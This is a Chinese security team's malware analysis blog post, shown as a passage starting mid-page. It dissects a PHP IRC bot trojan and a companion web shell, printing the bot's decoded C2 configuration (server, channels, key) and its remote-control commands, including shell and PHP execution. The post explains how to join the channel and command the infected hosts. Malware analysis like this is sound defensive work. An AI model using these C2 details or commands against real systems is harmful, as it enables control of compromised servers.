pre-wrap;">ADMIN，AWAY，CNOTICE，CPRIVMSG，CONNECT，DIE，ENCAP，ERROR，HELP，INFO，INVITE，ISON，JOIN，KICK，KILL，KNOCK，LINKS，LIST，LUSERS，MODE，MOTD，NAMES，NAMESX，NICK，NOTICE，OPER，PART，PASS，PING，PONG，PRIVMSG，QUIT，REHASH，RESTART，RULES，SERVER，SERVICE，SERVLIST，SQUERY，SQUIT，SETNAME，SILENCE，STATS，SUMMON，TIME，TOPIC，TRACE，UHNAMES，USER，USERHOST，USERIP，USERS，VERSION，WALLOPS，WATCH，WHO，WHOIS，WHOWAS</span></em></section></section><section style="margin-top: -0.62em; box-sizing: border-box; background-color: rgb(204, 204, 203);"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section></section><p><br/></p><p style="line-height: 25.6px;">IRC全部数字命令字：</p><p style="line-height: 25.6px;"><br/></p><section class="aimeibian imbselect" style="line-height: 25.6px; white-space: normal; border: 0px none;"><section class="ImbBgStyle" style="width: 556px; background-color: rgb(204, 204, 203);"><section style="box-sizing: border-box;"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section><section class="ImbContentStyle" style="padding: 15px; box-sizing: border-box; line-height: 1.5em;"><em><span style="line-height: 25.6px; white-space: pre-wrap;">&#34;001&#34;: &#34;welcome&#34;,    &#34;002&#34;: &#34;yourhost&#34;,    &#34;003&#34;: &#34;created&#34;,    &#34;004&#34;: &#34;myinfo&#34;,    &#34;005&#34;: &#34;featurelist&#34;,    &#34;200&#34;: &#34;tracelink&#34;,    &#34;201&#34;: &#34;traceconnecting&#34;,    &#34;202&#34;: &#34;tracehandshake&#34;,    &#34;203&#34;: &#34;traceunknown&#34;,    &#34;204&#34;: &#34;traceoperator&#34;,    &#34;205&#34;: &#34;traceuser&#34;,    &#34;206&#34;: &#34;traceserver&#34;,    &#34;207&#34;: &#34;traceservice&#34;,    &#34;208&#34;: &#34;tracenewtype&#34;,    &#34;209&#34;: &#34;traceclass&#34;,    &#34;210&#34;: &#34;tracereconnect&#34;,    &#34;211&#34;: &#34;statslinkinfo&#34;,    &#34;212&#34;: &#34;statscommands&#34;,    &#34;213&#34;: &#34;statscline&#34;,    &#34;214&#34;: &#34;statsnline&#34;,    &#34;215&#34;: &#34;statsiline&#34;,    &#34;216&#34;: &#34;statskline&#34;,    &#34;217&#34;: &#34;statsqline&#34;,    &#34;218&#34;: &#34;statsyline&#34;,    &#34;219&#34;: &#34;endofstats&#34;,    &#34;221&#34;: &#34;umodeis&#34;,    &#34;231&#34;: &#34;serviceinfo&#34;,    &#34;232&#34;: &#34;endofservices&#34;,    &#34;233&#34;: &#34;service&#34;,    &#34;234&#34;: &#34;servlist&#34;,    &#34;235&#34;: &#34;servlistend&#34;,    &#34;241&#34;: &#34;statslline&#34;,    &#34;242&#34;: &#34;statsuptime&#34;,    &#34;243&#34;: &#34;statsoline&#34;,    &#34;244&#34;: &#34;statshline&#34;,    &#34;250&#34;: &#34;luserconns&#34;,    &#34;251&#34;: &#34;luserclient&#34;,    &#34;252&#34;: &#34;luserop&#34;,    &#34;253&#34;: &#34;luserunknown&#34;,    &#34;254&#34;: &#34;luserchannels&#34;,    &#34;255&#34;: &#34;luserme&#34;,    &#34;256&#34;: &#34;adminme&#34;,    &#34;257&#34;: &#34;adminloc1&#34;,    &#34;258&#34;: &#34;adminloc2&#34;,    &#34;259&#34;: &#34;adminemail&#34;,    &#34;261&#34;: &#34;tracelog&#34;,    &#34;262&#34;: &#34;endoftrace&#34;,    &#34;263&#34;: &#34;tryagain&#34;,    &#34;265&#34;: &#34;n_local&#34;,    &#34;266&#34;: &#34;n_global&#34;,    &#34;300&#34;: &#34;none&#34;,    &#34;301&#34;: &#34;away&#34;,    &#34;302&#34;: &#34;userhost&#34;,    &#34;303&#34;: &#34;ison&#34;,    &#34;305&#34;: &#34;unaway&#34;,    &#34;306&#34;: &#34;nowaway&#34;,    &#34;311&#34;: &#34;whoisuser&#34;,    &#34;312&#34;: &#34;whoisserver&#34;,    &#34;313&#34;: &#34;whoisoperator&#34;,    &#34;314&#34;: &#34;whowasuser&#34;,    &#34;315&#34;: &#34;endofwho&#34;,    &#34;316&#34;: &#34;whoischanop&#34;,    &#34;317&#34;: &#34;whoisidle&#34;,    &#34;318&#34;: &#34;endofwhois&#34;,    &#34;319&#34;: &#34;whoischannels&#34;,    &#34;321&#34;: &#34;liststart&#34;,    &#34;322&#34;: &#34;list&#34;,    &#34;323&#34;: &#34;listend&#34;,    &#34;324&#34;: &#34;channelmodeis&#34;,    &#34;329&#34;: &#34;channelcreate&#34;,    &#34;331&#34;: &#34;notopic&#34;,    &#34;332&#34;: &#34;currenttopic&#34;,    &#34;333&#34;: &#34;topicinfo&#34;,    &#34;341&#34;: &#34;inviting&#34;,    &#34;342&#34;: &#34;summoning&#34;,    &#34;346&#34;: &#34;invitelist&#34;,    &#34;347&#34;: &#34;endofinvitelist&#34;,    &#34;348&#34;: &#34;exceptlist&#34;,    &#34;349&#34;: &#34;endofexceptlist&#34;,    &#34;351&#34;: &#34;version&#34;,    &#34;352&#34;: &#34;whoreply&#34;,    &#34;353&#34;: &#34;namreply&#34;,    &#34;361&#34;: &#34;killdone&#34;,    &#34;362&#34;: &#34;closing&#34;,    &#34;363&#34;: &#34;closeend&#34;,    &#34;364&#34;: &#34;links&#34;,    &#34;365&#34;: &#34;endoflinks&#34;,    &#34;366&#34;: &#34;endofnames&#34;,    &#34;367&#34;: &#34;banlist&#34;,    &#34;368&#34;: &#34;endofbanlist&#34;,    &#34;369&#34;: &#34;endofwhowas&#34;,    &#34;371&#34;: &#34;info&#34;,    &#34;372&#34;: &#34;motd&#34;,    &#34;373&#34;: &#34;infostart&#34;,    &#34;374&#34;: &#34;endofinfo&#34;,    &#34;375&#34;: &#34;motdstart&#34;,    &#34;376&#34;: &#34;endofmotd&#34;,    &#34;377&#34;: &#34;motd2&#34;,    &#34;381&#34;: &#34;youreoper&#34;,    &#34;382&#34;: &#34;rehashing&#34;,    &#34;384&#34;: &#34;myportis&#34;,    &#34;391&#34;: &#34;time&#34;,    &#34;392&#34;: &#34;usersstart&#34;,    &#34;393&#34;: &#34;users&#34;,    &#34;394&#34;: &#34;endofusers&#34;,    &#34;395&#34;: &#34;nousers&#34;,    &#34;401&#34;: &#34;nosuchnick&#34;,    &#34;402&#34;: &#34;nosuchserver&#34;,    &#34;403&#34;: &#34;nosuchchannel&#34;,    &#34;404&#34;: &#34;cannotsendtochan&#34;,    &#34;405&#34;: &#34;toomanychannels&#34;,    &#34;406&#34;: &#34;wasnosuchnick&#34;,    &#34;407&#34;: &#34;toomanytargets&#34;,    &#34;409&#34;: &#34;noorigin&#34;,    &#34;411&#34;: &#34;norecipient&#34;,    &#34;412&#34;: &#34;notexttosend&#34;,    &#34;413&#34;: &#34;notoplevel&#34;,    &#34;414&#34;: &#34;wildtoplevel&#34;,    &#34;421&#34;: &#34;unknowncommand&#34;,    &#34;422&#34;: &#34;nomotd&#34;,    &#34;423&#34;: &#34;noadmininfo&#34;,    &#34;424&#34;: &#34;fileerror&#34;,    &#34;431&#34;: &#34;nonicknamegiven&#34;,    &#34;432&#34;: &#34;erroneusnickname&#34;,    &#34;433&#34;: &#34;nicknameinuse&#34;,    &#34;436&#34;: &#34;nickcollision&#34;,    &#34;437&#34;: &#34;unavailresource&#34;,    &#34;441&#34;: &#34;usernotinchannel&#34;,    &#34;442&#34;: &#34;notonchannel&#34;,    &#34;443&#34;: &#34;useronchannel&#34;,    &#34;444&#34;: &#34;nologin&#34;,    &#34;445&#34;: &#34;summondisabled&#34;,    &#34;446&#34;: &#34;usersdisabled&#34;,    &#34;451&#34;: &#34;notregistered&#34;,    &#34;461&#34;: &#34;needmoreparams&#34;,    &#34;462&#34;: &#34;alreadyregistered&#34;,    &#34;463&#34;: &#34;nopermforhost&#34;,    &#34;464&#34;: &#34;passwdmismatch&#34;,    &#34;465&#34;: &#34;yourebannedcreep&#34;,    &#34;466&#34;: &#34;youwillbebanned&#34;,    &#34;467&#34;: &#34;keyset&#34;,    &#34;471&#34;: &#34;channelisfull&#34;,    &#34;472&#34;: &#34;unknownmode&#34;,    &#34;473&#34;: &#34;inviteonlychan&#34;,    &#34;474&#34;: &#34;bannedfromchan&#34;,    &#34;475&#34;: &#34;badchannelkey&#34;,    &#34;476&#34;: &#34;badchanmask&#34;,    &#34;477&#34;: &#34;nochanmodes&#34;,    &#34;478&#34;: &#34;banlistfull&#34;,    &#34;481&#34;: &#34;noprivileges&#34;,    &#34;482&#34;: &#34;chanoprivsneeded&#34;,    &#34;483&#34;: &#34;cantkillserver&#34;,    &#34;484&#34;: &#34;restricted&#34;,    &#34;485&#34;: &#34;uniqopprivsneeded&#34;,    &#34;491&#34;: &#34;nooperhost&#34;,    &#34;492&#34;: &#34;noservicehost&#34;,    &#34;501&#34;: &#34;umodeunknownflag&#34;,    &#34;502&#34;: &#34;usersdontmatch&#34;,</span></em></section></section><section style="margin-top: -0.62em; box-sizing: border-box; background-color: rgb(204, 204, 203);"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section></section><p><br/></p><p style="line-height: 25.6px;">IRC命令解释详见：List of Internet Relay Chat commands（<a href="https://en.wikipedia.org/wiki/List_of_Internet_Relay_Chat_commands）" target="_blank">https://en.wikipedia.org/wiki/List_of_Internet_Relay_Chat_commands）</a></p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;"><span style="color: rgb(0, 82, 255);"><strong>pbot.php木马利用IRC协议进行通讯过程</strong></span></p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;">分析前先对编码过的php代码进行解码 </p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;"><img data-s="300,640" data-type="jpeg" data-w="669" data-ratio="0.8355754857997011" src="https://wechat2rss.xlab.app/img-proxy/?k=3df4fcce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD11MOzbtTJKc5TpjKtBBZQurGYicicibOh5N2Yfvk7OuG36LluNmlK9v3dzz3PepbVmvIwysMhriaRqUg%2F0%3Fwx_fmt%3Djpeg"/><br/></p><p style="line-height: 25.6px;">此木马用到的IRC命令字：</p><p style="line-height: 25.6px;"><br/></p><section class="aimeibian" style="line-height: 25.6px; white-space: normal; border: 0px none;"><section class="ImbBgStyle" style="width: 556px; background-color: rgb(204, 204, 203);"><section style="box-sizing: border-box;"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section><section class="ImbContentStyle" style="padding: 15px; box-sizing: border-box; line-height: 1.5em;"><p style="line-height: 25.6px;"><em><span style="line-height: 25.6px;">P</span><span style="line-height: 1.6;">ASS：设置IRC连接密码</span></em></p><p style="line-height: 25.6px;"><em>USER：设置username,，hostname，realname</em></p><p style="line-height: 25.6px;"><em>NICK：设置昵称</em></p><p style="line-height: 25.6px;"><em><span style="line-height: 25.6px;"></span></em></p><p style="line-height: 25.6px;"><em>PING：验证客户端是否存活</em></p><p style="line-height: 25.6px;"><em>MODE：设置IRC连接模式</em></p><p style="line-height: 25.6px;"><em>JOIN：加入频道（频道就类似群的概念）</em></p><p style="line-height: 25.6px;"><em>PRIVMSG：发送私有消息（最常用的IRC命令）</em></p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;">001：成功建立IRC连接后服务器返回的welcome消息 </p><p style="line-height: 25.6px;">443：昵称重复</p></section></section><section style="margin-top: -0.62em; box-sizing: border-box; background-color: rgb(204, 204, 203);"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section></section><p><br/></p><p style="line-height: 25.6px;"><strong>1）建立IRC连接 </strong></p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;"><img data-s="300,640" data-type="jpeg" data-w="814" data-ratio="0.5085995085995086" src="https://wechat2rss.xlab.app/img-proxy/?k=7912aef7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD11MOzbtTJKc5TpjKtBBZQuG7dlrFnvk9P66hkmqibHJPCpDAY2lmqGMiaYtjXobpQ3QHZuNwZibkFPg%2F0%3Fwx_fmt%3Djpeg"/><br/></p><p style="line-height: 25.6px;">如上，木马实现IRC协议规定的建立连接握手流程：以PASS，USER，NICK三个IRC命令开始（设置连接密码，用户ID，昵称等信息）</p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;"><img data-s="300,640" data-type="jpeg" data-w="504" data-ratio="0.44642857142857145" src="https://wechat2rss.xlab.app/img-proxy/?k=df60b748&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD11MOzbtTJKc5TpjKtBBZQu11uWRBh9xdc3Ria4BjkYssVIUiazEZcyXuljPwfx20zF1Xq3OTVCB48Q%2F0%3Fwx_fmt%3Djpeg"/><br/></p><p style="line-height: 25.6px;">建立完连接后进入主功能函数main </p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;"><strong>2）main函数（消息循环）</strong></p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;">IRC连接建立成功后设置连接模式为私有隐藏，加入预先建好的两个远控频道（配置变量中的chan和chan2：即#ccpower和#sianta），频道密码是配置变量里的key即correct</p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;">配置参数包含服务器域名，端口，频道名（群名），频道密码，频道模式等信息</p><p><br/></p><section class="aimeibian" style="line-height: 25.6px; white-space: normal; border: 0px none;"><section class="ImbBgStyle" style="width: 556px; background-color: rgb(204, 204, 203);"><section style="box-sizing: border-box;"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section><section class="ImbContentStyle" style="padding: 15px; box-sizing: border-box; line-height: 1.5em;"><p style="line-height: 25.6px;"><em><span style="line-height: 25.6px;"></span></em></p><p style="line-height: 25.6px;">var $config = array(&#34;server&#34; =&gt; &#34;irc.mildnet.net&#34;, </p><p style="line-height: 25.6px;"><span class="Apple-tab-span" style="white-space: pre;">		</span>&#34;port&#34; =&gt; &#34;7000&#34;, &#34;pass&#34; =&gt; &#34;&#34;, &#34;prefix&#34; =&gt; &#34;pbot&#34;, &#34;maxrand&#34; =&gt; &#34;2&#34;, &#34;chan&#34; =&gt; &#34;#ccpower&#34;, </p><p style="line-height: 25.6px;"><span class="Apple-tab-span" style="white-space: pre;">		</span>&#34;chan2&#34; =&gt; &#34;#siantar&#34;, &#34;key&#34; =&gt; &#34;correct&#34;, &#34;modes&#34; =&gt; &#34;+ps&#34;);</p></section></section><section style="margin-top: -0.62em; box-sizing: border-box; background-color: rgb(204, 204, 203);"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section></section><p><br/></p><p style="line-height: 25.6px;"><img data-s="300,640" data-type="jpeg" data-w="807" data-ratio="0.5117719950433705" src="https://wechat2rss.xlab.app/img-proxy/?k=269469f1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD11MOzbtTJKc5TpjKtBBZQulPerONekhAiacp1icEmjcwdBQojib4YKRQnXHV2WIDS7HvRO61swaT4RQ%2F0%3Fwx_fmt%3Djpeg"/><br/></p><p style="line-height: 25.6px;">调用到的函数（相应IRC协议中的命令JOIN, PRIVMSG, NICK）</p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;"><img data-s="300,640" data-type="png" data-w="589" data-ratio="0.8030560271646859" src="https://wechat2rss.xlab.app/img-proxy/?k=f7710656&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD11MOzbtTJKc5TpjKtBBZQuCLhBLeA5iadwhQJyLzzCRCMNpo3HgcOBn2OoHCtGr2lMbXVzkunsr9Q%2F0%3Fwx_fmt%3Dpng"/><br/></p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;"><strong>木马自己的远控命令</strong></p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;">上面主要是IRC协议相关的内容，而木马自己的功能，也就是执行各种远程控制命令的代码如下：</p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;">（远控命令的发送是通过PRIVMSG IRC命令字发送给木马，以!号开头）</p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;"><img data-s="300,640" data-type="jpeg" data-w="650" data-ratio="1.0492307692307692" src="https://wechat2rss.xlab.app/img-proxy/?k=32c55663&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD11MOzbtTJKc5TpjKtBBZQuSVkrSDoaCl5P4muiaruSVg9Xao4CRWrluIXsUBgHIPDxpzTOsibTlZGQ%2F0%3Fwx_fmt%3Djpeg"/><br/><img data-s="300,640" data-type="jpeg" data-w="1053" data-ratio="0.7340930674264008" src="https://wechat2rss.xlab.app/img-proxy/?k=5a42badf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD11MOzbtTJKc5TpjKtBBZQuKPiaN2YTqLh0tib1k2v2iahic9MLoGUPr2m3IKNx1neMXZUMWib5wgH4ufw%2F0%3Fwx_fmt%3Djpeg"/><br/><img data-s="300,640" data-type="jpeg" data-w="722" data-ratio="0.8213296398891967" src="https://wechat2rss.xlab.app/img-proxy/?k=868c2aab&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD11MOzbtTJKc5TpjKtBBZQuhIWQdA7VAhfYgzFBqhuvCIEqrGfSTkTe9T6m8qPrriaicr6tbG4rAFag%2F0%3Fwx_fmt%3Djpeg"/><br/></p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;">如上，木马自己的远控命令一共有13个，最重要的两个就是<strong>e</strong><strong>val命令</strong>：执行php代码；<strong>cmd命令</strong>：执行shell命令行 </p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;">所有命令和功能如下：</p><p><br/></p><section class="aimeibian" style="line-height: 25.6px; white-space: normal; border: 0px none;"><section class="ImbBgStyle" style="width: 556px; background-color: rgb(204, 204, 203);"><section style="box-sizing: border-box;"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section><section class="ImbContentStyle" style="padding: 15px; box-sizing: border-box; line-height: 1.5em;"><p style="line-height: 25.6px;"><em><span style="line-height: 25.6px;"></span></em></p><p style="line-height: 25.6px;">reload：退出后重连</p><p style="line-height: 25.6px;">safe：获取php的安全模式信息</p><p style="line-height: 25.6px;">conback：未实现</p><p style="line-height: 25.6px;">dns：域名查询</p><p style="line-height: 25.6px;">info：未实现</p><p style="line-height: 25.6px;">vuln：获取服务器信息</p><p style="line-height: 25.6px;">bot：获取web shell类型</p><p style="line-height: 25.6px;">uname：获取PHP系统相关信息</p><p style="line-height: 25.6px;">rndnick：设置随机昵称</p><p style="line-height: 25.6px;">raw：原始消息发送</p><p style="line-height: 25.6px;">eval：执行php代码</p><p style="line-height: 25.6px;">cmd：执行shell代码</p><p style="line-height: 25.6px;">mati：断开连接</p></section></section><section style="margin-top: -0.62em; box-sizing: border-box; background-color: rgb(204, 204, 203);"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section></section><p><br/></p><p style="line-height: 25.6px;">到此，通过一个简单的IRC聊天客户端，连接IRC服务器：irc.mildnet.net；进入预先设置好的私有频道：#ccpower，#siantar（频道密码：correct），就可以像聊QQ一样，和群里的肉鸡”聊天“了，聊天的内容就是上面的13个命令</p><p style="line-height: 25.6px;"><br/></p><section style="line-height: 25.6px; white-space: normal; box-sizing: border-box; background-color: rgb(255, 255, 255);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="margin-top: 10px; margin-bottom: 10px; box-sizing: border-box;"><section class="" style="padding: 2px; display: inline-block; box-sizing: border-box; background-color: rgb(0, 0, 0);"><section class="" style="margin-right: 5px; padding-right: 8px; padding-left: 8px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box; background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">0x01</span></section></section><section class="" style="padding-right: 5px; padding-left: 5px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box;"><section style="box-sizing: border-box;"><h1 style="font-size: 18px; line-height: 25.6px;"><span style="font-size: 20px;"><span style="line-height: 25.6px; white-space: pre-wrap;">mil.php</span></span></h1></section></section></section></section></section></section><p><br/></p><p style="line-height: 25.6px;">压缩包里还有另外一个php文件，这个不是IRC木马，解码后也简单的分析下：</p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;">mil.php木马有两个功能</p><p style="line-height: 25.6px;"><br/></p><section class="aimeibian" style="line-height: 25.6px; white-space: normal; border: 0px none;"><section class="ImbBgStyle" style="width: 556px; background-color: rgb(204, 204, 203);"><section style="box-sizing: border-box;"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section><section class="ImbContentStyle" style="padding: 15px; box-sizing: border-box; line-height: 1.5em;"><p style="line-height: 25.6px;"><em><span style="line-height: 25.6px;"></span></em></p><p style="line-height: 25.6px;">1）执行shell命令</p><p style="line-height: 25.6px;">2）上传文件</p></section></section><section style="margin-top: -0.62em; box-sizing: border-box; background-color: rgb(204, 204, 203);"><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: left; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section><section data-bgless="spin" data-bglessp="180" style="width: 0.62em; height: 0.62em; float: right; box-sizing: border-box; background-color: rgb(249, 110, 87);"></section></section></section><p><br/></p><p style="line-height: 25.6px;"><img data-s="300,640" data-type="png" data-w="817" data-ratio="0.4504283965728274" src="https://wechat2rss.xlab.app/img-proxy/?k=726e2ec4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD11MOzbtTJKc5TpjKtBBZQuk69NUtIyY84TjtHxlwUibYMK4rqicgavDF6eSrnEM9Z3gycicLwpeChDA%2F0%3Fwx_fmt%3Dpng"/><br/></p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;">上面两个form表单是木马的操作界面，这样看不是太清楚，把两个form字符串保存成html文件，用浏览器里打开看就比较清楚了</p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;"><img data-s="300,640" data-type="png" data-w="743" data-ratio="0.21534320323014805" src="https://wechat2rss.xlab.app/img-proxy/?k=414d8382&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD11MOzbtTJKc5TpjKtBBZQuprYE7coxzVHJsnk3XSy5zsYgorM1cLyWvYPAJpESicHFSVKvk72F8XA%2F0%3Fwx_fmt%3Dpng"/><br/></p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;">从上面的界面文字以及php里的一些字符串发现不是英文，感觉有点像马来文。由于文字很少，也没进一步考证</p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;"><img data-s="300,640" data-type="png" data-w="814" data-ratio="0.44963144963144963" src="https://wechat2rss.xlab.app/img-proxy/?k=fdddddb0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD11MOzbtTJKc5TpjKtBBZQuFbc0kmGqnQIefLw2UEMXWCMniaoz69TqRxRKPwhGHeTKW7LW619LWrQ%2F0%3Fwx_fmt%3Dpng"/><br/></p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;">最后是增加.htaccess配置文件，文件内容又经过了编码处理，估计是配置网马文件的权限，解码后证实一下</p><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;"><img data-s="300,640" data-type="png" data-w="810" data-ratio="0.23703703703703705" src="https://wechat2rss.xlab.app/img-proxy/?k=aeefdbb3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD11MOzbtTJKc5TpjKtBBZQuZYu2paUvwrMkX2t06u2axzhdSjxrJe6oS1gd0y7YkEaZxtFDgFNglg%2F0%3Fwx_fmt%3Dpng"/><br/></p><p style="line-height: 25.6px;"><br/></p><blockquote style="margin-top: 5px; margin-bottom: 5px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px; border: 0px none; white-space: normal; max-width: 100%; font-family: 微软雅黑; font-size: 14px; line-height: 24px; color: rgb(51, 51, 51); box-sizing: border-box !important; word-wrap: break-word !important; background-color: rgb(241, 241, 241);"><strong style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><span style="max-width: 100%; color: rgb(12, 137, 24); box-sizing: border-box !important; word-wrap: break-word !important;">版权声明：</span></strong></blockquote><p style="margin-top: 5px; margin-bottom: 5px; padding: 5px 10px; white-space: normal; max-width: 100%; min-height: 1em; color: rgb(62, 62, 62); font-family: 微软雅黑; font-size: 14px; line-height: 24px; border: 0px; box-sizing: border-box !important; word-wrap: break-word !important; background-color: rgb(241, 241, 241);"><strong style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><span style="max-width: 100%; color: rgb(102, 102, 102); box-sizing: border-box !important; word-wrap: break-word !important;">本文由MS509团队成员原创，转载请注明来源</span></strong></p><p style="margin-top: 5px; margin-bottom: 5px; padding: 5px 10px; white-space: normal; max-width: 100%; min-height: 1em; color: rgb(62, 62, 62); font-family: 微软雅黑; font-size: 14px; line-height: 24px; border: 0px; box-sizing: border-box !important; word-wrap: break-word !important; background-color: rgb(241, 241, 241);"><strong style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><span style="max-width: 100%; color: rgb(102, 102, 102); box-sizing: border-box !important; word-wrap: break-word !important;">注：本文已由团队成员“expsky”2016-08-9 发布于“FreeBuf”</span></strong></p><p style="margin-bottom: 28px; line-height: 25.6px; color: rgb(51, 51, 51);"><br/></p><section style="line-height: 25.6px; white-space: normal; box-sizing: border-box; background-color: rgb(255, 255, 255);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="margin-top: 10px; margin-bottom: 10px; box-sizing: border-box;"><section class="" style="padding-right: 1em; padding-left: 1em; display: inline-block; text-align: center; box-sizing: border-box;"><span class="" style="padding: 0.3em 0.5em; display: inline-block; border-radius: 0.5em; font-size: 14.08px; color: rgb(255, 255, 255); box-sizing: border-box; background-color: rgb(24, 141, 42);"><section style="box-sizing: border-box;"><span style="font-size: 16px;">MS509简介：</span></section></span> </section><section class="" style="margin-top: -1em; padding: 20px 10px 10px; border: 1px solid rgb(192, 200, 209); text-align: center; box-sizing: border-box; background-color: rgb(239, 239, 239);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="box-sizing: border-box;"><section class="" style="text-align: left; box-sizing: border-box;"><section style="box-sizing: border-box;"><em><em><span style="line-height: 24px; white-space: pre-wrap;">MS509为“中国网安”开展互联网攻防技术研究的专业团队，当前主攻方向包括WEB安全、移动安全、二进制安全等</span><strong style="line-height: 24px; white-space: pre-wrap;">。</strong><strong>更多团队动态，尽在www.ms509.com</strong></em></em></section></section></section></section></section></section></section></section><p style="line-height: 25.6px;"><br/></p><section class="aimeibian imbselect" style="line-height: 25.6px; white-space: normal; border: 0px none;"><section style="text-align: center; border: 0px solid rgb(0, 0, 0);"><section style="display: inline-block;"><section style="width: 21em; border: 0px solid rgb(0, 0, 0);"><img style="width: auto;" class="" data-type="gif" data-ratio="0.532" data-w="500" 